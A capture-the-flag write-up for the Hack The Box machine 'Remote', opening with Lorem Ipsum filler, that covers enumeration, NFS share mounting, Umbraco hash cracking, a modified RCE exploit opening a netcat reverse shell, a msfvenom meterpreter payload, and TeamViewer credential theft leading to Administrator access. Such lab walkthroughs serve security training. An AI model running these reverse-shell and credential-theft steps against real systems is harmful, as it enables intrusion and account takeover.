Remote - Hack The Box

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hackthebox
Author

0xPThree

Published

May 7, 2020

“Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry’s standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.”

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  1. root@p3:/opt/htb/machines/remote# nmap -Pn -sC -sV -n 10.10.10.180 PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd |ftp-anon: Anonymous FTP login allowed (FTP code 230) | ftp-syst: | SYST: Windows_NT 80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |http-title: Home - Acme Widgets 111/tcp open rpcbind? | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/tcp6 rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 2,3,4 111/udp6 rpcbind | 100003 2,3 2049/udp nfs | 100003 2,3 2049/udp6 nfs | 100003 2,3,4 2049/tcp nfs | 100003 2,3,4 2049/tcp6 nfs | 100005 1,2,3 2049/tcp mountd | 100005 1,2,3 2049/tcp6 mountd | 100005 1,2,3 2049/udp mountd | 100005 1,2,3 2049/udp6 mountd | 100021 1,2,3,4 2049/tcp nlockmgr | 100021 1,2,3,4 2049/tcp6 nlockmgr | 100021 1,2,3,4 2049/udp nlockmgr | 100021 1,2,3,4 2049/udp6 nlockmgr | 100024 1 2049/tcp status | 100024 1 2049/tcp6 status | 100024 1 2049/udp status | 100024 1 2049/udp6 status 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 2049/tcp open rpcbind Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

    Host script results: |_smb2-time: Protocol negotiation failed (SMB2)

DIRB: + http://10.10.10.180/about-us (CODE:200|SIZE:5441) + http://10.10.10.180/blog (CODE:200|SIZE:5001) + http://10.10.10.180/Blog (CODE:200|SIZE:5001) + http://10.10.10.180/contact (CODE:200|SIZE:7880) + http://10.10.10.180/Contact (CODE:200|SIZE:7880) + http://10.10.10.180/home (CODE:200|SIZE:6703) + http://10.10.10.180/Home (CODE:200|SIZE:6703) + http://10.10.10.180/install (CODE:302|SIZE:126) + http://10.10.10.180/intranet (CODE:200|SIZE:3323) + http://10.10.10.180/master (CODE:500|SIZE:3420) + http://10.10.10.180/people (CODE:200|SIZE:6739) + http://10.10.10.180/People (CODE:200|SIZE:6739) + http://10.10.10.180/person (CODE:200|SIZE:2741) + http://10.10.10.180/product (CODE:500|SIZE:3420) + http://10.10.10.180/products (CODE:200|SIZE:5328) + http://10.10.10.180/Products (CODE:200|SIZE:5328) + http://10.10.10.180/umbraco (CODE:200|SIZE:4040)

NIKTO: + Server banner has changed from ’’ to ‘Microsoft-IIS/10.0’ which may suggest a WAF, load balancer or proxy is in place + /umbraco/ping.aspx: Umbraco ping page found

  1. Browsing the webpage we find a few employees, add them to a user list. Both /umbraco and /install forwards to a login page. Rpcclient without user and/or anonymous user is not possible. Anonymous FTP is allowed, however there’s nothing on the share.

    Looking on the rpcbind-ports however we can see some enumerated nfs-shares showing. We can further enumterate this using nmap scripts (nfs-ls, nfs-showmount & nfs-statfs)

    root@p3:/opt/htb/machines/remote# nmap –script nfs-* 10.10.10.180 .. 111/tcp open rpcbind | nfs-ls: Volume /site_backups | access: Read Lookup NoModify NoExtend NoDelete NoExecute | PERMISSION UID GID SIZE TIME FILENAME | rwx—— 4294967294 4294967294 4096 2020-02-23T18:35:48 . | ?????????? ? ? ? ? .. | rwx—— 4294967294 4294967294 64 2020-02-20T17:16:39 App_Browsers | rwx—— 4294967294 4294967294 4096 2020-02-20T17:17:19 App_Data | rwx—— 4294967294 4294967294 4096 2020-02-20T17:16:40 App_Plugins | rwx—— 4294967294 4294967294 8192 2020-02-20T17:16:42 Config | rwx—— 4294967294 4294967294 64 2020-02-20T17:16:40 aspnet_client | rwx—— 4294967294 4294967294 49152 2020-02-20T17:16:42 bin | rwx—— 4294967294 4294967294 64 2020-02-20T17:16:42 css | rwx—— 4294967294 4294967294 152 2018-11-01T17:06:44 default.aspx | | nfs-showmount: | /site_backups | nfs-statfs: | Filesystem 1K-blocks Used Available Use% Maxfilesize Maxlink |_ /site_backups 31119356.0 12170588.0 18948768.0 40% 16.0T 1023

  2. Create a new folder and mount the directory site_backups to review it’s content. root@p3:/opt/htb/machines/remote# mount -t nfs 10.10.10.180:/site_backups tmpMount/ root@p3:/opt/htb/machines/remote# ls -al tmpMount/ total 123 drwx—— 2 nobody 4294967294 4096 Feb 23 19:35 . drwxr-xr-x 3 root root 4096 Apr 23 16:05 .. drwx—— 2 nobody 4294967294 64 Feb 20 18:16 App_Browsers drwx—— 2 nobody 4294967294 4096 Feb 20 18:17 App_Data drwx—— 2 nobody 4294967294 4096 Feb 20 18:16 App_Plugins drwx—— 2 nobody 4294967294 64 Feb 20 18:16 aspnet_client drwx—— 2 nobody 4294967294 49152 Feb 20 18:16 bin drwx—— 2 nobody 4294967294 8192 Feb 20 18:16 Config drwx—— 2 nobody 4294967294 64 Feb 20 18:16 css -rwx—— 1 nobody 4294967294 152 Nov 1 2018 default.aspx -rwx—— 1 nobody 4294967294 89 Nov 1 2018 Global.asax drwx—— 2 nobody 4294967294 4096 Feb 20 18:16 Media drwx—— 2 nobody 4294967294 64 Feb 20 18:16 scripts drwx—— 2 nobody 4294967294 8192 Feb 20 18:16 Umbraco drwx—— 2 nobody 4294967294 4096 Feb 20 18:16 Umbraco_Client drwx—— 2 nobody 4294967294 4096 Feb 20 18:16 Views -rwx—— 1 nobody 4294967294 28539 Feb 20 06:57 Web.config

  3. Enumerate the directory and we find Umbraco.sdf. Using strings we find users and their password hash.

    root@nidus:/opt/htb/machines/remote/tmpMount# find . -iname umbraco* .. ./App_Data/Umbraco.sdf

    root@nidus:/opt/htb/machines/remote/tmpMount/App_Data# strings Umbraco.sdf Administrator admin default en-US Administrator admin default en-US b22924d5-57de-468e-9df4-0961cf6aa30d Administrator admin b8be16afba8c314ad33d812f22a04991b90e2aaa{“hashAlgorithm”:“SHA1”} en-US f8512f97-cab1-4a4b-a49f-0a2054c47a1d admin admin@htb.local b8be16afba8c314ad33d812f22a04991b90e2aaa{“hashAlgorithm”:“SHA1”} admin@htb.local en-USfeb1a998-d3bf-406a-b30b-e269d7abdf50 admin admin@htb.local b8be16afba8c314ad33d812f22a04991b90e2aaa{“hashAlgorithm”:“SHA1”} admin@htb.local en-US82756c26-4321-4d27-b429-1b5c7c4f882f smith smith@htb.local jxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={“hashAlgorithm”:“HMACSHA256”} smith@htb.local en-US7e39df83-5e64-4b93-9702-ae257a9b9749-a054-27463ae58b8e ssmith smith@htb.local jxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={“hashAlgorithm”:“HMACSHA256”} smith@htb.local en-US7e39df83-5e64-4b93-9702-ae257a9b9749 ssmith ssmith@htb.local 8+xXICbPe7m5NQ22HfcGlg==RF9OLinww9rd2PmaKUpLteR6vesD2MtFaBKe1zL5SXA={“hashAlgorithm”:“HMACSHA256”} ssmith@htb.local en-US3628acfb-a62c-4ab0-93f7-5ee9724c8d32

  4. Use hashcat to crack the SHA1 hash of user admin@htb.local

    root@nidus:/opt/htb/machines/remote# hashcat -a0 -m100 hash.txt /usr/share/wordlists/rockyou.txt -o cracked.txt –force .. Status………..: Cracked ..

    root@nidus:/opt/htb/machines/remote# cat cracked.txt b8be16afba8c314ad33d812f22a04991b90e2aaa:baconandcheese

  5. We are now able to login to the portal, 10.10.10.180/umbraco, with found credentials. A quick search for “Umbraco” on google tells us that it has a Remote Code Execution vuln. Download the script from ExploitDB and modify it to first return a ping. Once we get a ping back, we can change the code (‘string cmd’ and ‘proc.StartInfo.FileName’) to get a reverse shell.

    root@nidus:/opt/htb/machines/remote# cat 46153.py .. string cmd = “//10.10.14.2/pub-share/nc64.exe 10.10.14.2 4488 -e powershell”; System.Diagnostics.Process proc = new System.Diagnostics.Process();
    proc.StartInfo.FileName = “powershell.exe”; ..

    root@nidus:/opt/htb/machines/remote# rlwrap nc -lvnp 4488 listening on [any] 4488 … connect to [10.10.14.2] from (UNKNOWN) [10.10.10.180] 49694 Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved.

    PS C:> whoami whoami iis apppool

    PS C:> type user.txt type user.txt 439732ceaf451f5ed3f240011174e757

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  1. Enumerate the boxes services and we find a vulnerable TeamViewer (7) service. PS C:> tasklist /SVC tasklist /SVC

    Image Name PID Services ========================= ======== ============================================ .. TeamViewer_Service.exe 3080 TeamViewer7

  2. Googling about TeamViewer7 exploits we find a msf module that finds storde credentials and crack them. To use msf modules we need a meterpreter session so start by creating a meterpreter payload and trigger a reverse by editing the first Umbraco python vuln.

    root@nidus:/opt/htb/machines/remote# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.2 LPORT=4499 -f exe > rev-meterpreter.exe root@nidus:/opt/htb/machines/remote# cat meterpreter.py .. string cmd = “//10.10.14.2/pub-share/rev-meterpreter.exe”; System.Diagnostics.Process proc = new System.Diagnostics.Process();
    proc.StartInfo.FileName = “powershell.exe”; ..

    root@nidus:/opt/htb/machines/remote# msfdb run msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set lhost 10.10.14.2 msf5 exploit(multi/handler) > set lport 4499 msf5 exploit(multi/handler) > run

    root@nidus:/opt/htb/machines/remote# python meterpreter.py .. [*] Meterpreter session 1 opened (10.10.14.2:4499 -> 10.10.10.180:49710) at 2020-05-07 15:05:31 +0200

    meterpreter >

  3. Copy the module (https://whynotsecurity.com/blog/teamviewer/) and paste it in /root/.msf4/modules

    root@nidus:~/.msf4/modules# cp /opt/htb/machines/remote/remote-tv.rb /root/.msf4/modules/post/windows/gather/credentials/ root@nidus:~/.msf4/modules# ls -al /root/.msf4/modules/post/windows/gather/credentials/ total 16 drwxr-xr-x 2 root root 4096 May 7 14:57 . drwxr-xr-x 3 root root 4096 May 7 14:56 .. -rw-r–r– 1 root root 4523 May 7 14:57 remote-tv.rb

    Background the meterpreter session and update the database. meterpreter > background [*] Backgrounding session 1… msf5 exploit(multi/handler) > updatedb [*] exec: updatedb

  4. Use the custom TeamViewer module to search for stored passwords.

    msf5 exploit(multi/handler) > search teamviewer

    Matching Modules ================

      #  Name                                                  Disclosure Date  Rank    Check  Description
  -  ----                                                  ---------------  ----    -----  -----------
  0  post/windows/gather/credentials/teamviewer_passwords                   normal  No     Windows Gather TeamViewer Passwords

    msf5 exploit(multi/handler) > use post/windows/gather/credentials/teamviewer_passwords msf5 post(windows/gather/credentials/teamviewer_passwords) > options

    Module options (post/windows/gather/credentials/teamviewer_passwords):

      Name          Current Setting  Required  Description
  ----          ---------------  --------  -----------
  SESSION                        yes       The session to run this module on.
  WINDOW_TITLE  TeamViewer       no        Specify a title for getting the window handle, e.g. TeamViewer

    msf5 post(windows/gather/credentials/teamviewer_passwords) > set session 1 msf5 post(windows/gather/credentials/teamviewer_passwords) > run

    [*] Finding TeamViewer Passwords on REMOTE [+] Found Unattended Password: !R3m0te! [+] Passwords stored in: /root/.msf4/loot/20200507151315_default_10.10.10.180_host.teamviewer__218524.txt [*] <—————- | Using Window Technique | —————-> [*] TeamViewer’s language setting options are ’’ [*] TeamViewer’s version is ’’ [-] Unable to find TeamViewer’s process [*] Post module execution completed

  5. Use evil-winrm to grab root.txt

    root@nidus:/opt/htb/machines/remote# evil-winrm -i 10.10.10.180 -u Administrator -p ‘!R3m0te!’ Evil-WinRM PS C:> type root.txt e68c6abb4d764732be88aaed8f733990

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TeamViewer Exploit https://whynotsecurity.com/blog/teamviewer/

Import MSF-module https://medium.com/@pentest_it/how-to-add-a-module-to-metasploit-from-exploit-db-d389c2a33f6d